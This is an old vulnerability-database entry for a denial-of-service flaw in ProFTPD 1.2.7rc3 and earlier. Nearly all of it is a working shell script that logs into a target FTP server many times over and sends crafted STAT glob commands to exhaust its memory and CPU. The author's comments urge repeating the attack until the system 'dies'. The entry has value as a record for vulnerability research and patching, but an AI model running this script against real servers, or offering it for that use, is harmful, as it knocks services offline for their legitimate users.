source: https://www.securityfocus.com/bid/6341/info

A denial of service vulnerability has been reported for ProFTPD. It is possible to cause ProFTPD from responding to legitimate requests for service by issuing specially crafted STAT commands. This will result in a denial of service condition.

#!/bin/sh
#
# proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least
# might work against many other FTP daemons
# consumes nearly all memory and alot of CPU
#
# tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3
#
# 7-dec-02 - detach  -  www.duho.org
#
# use: ./prodos.sh <host> <user> <pass>
# do this some more to make sure the system eventually dies

cnt=25
while [ $cnt -gt 0 ] ; do
ftp -n << EOF&
o $1
quote user $2
quote pass $3
quote stat /*/*/*/*/*/*/*
quit
EOF
let cnt=cnt-1
done
sleep 2
killall -9 ftp
echo DONE!

#end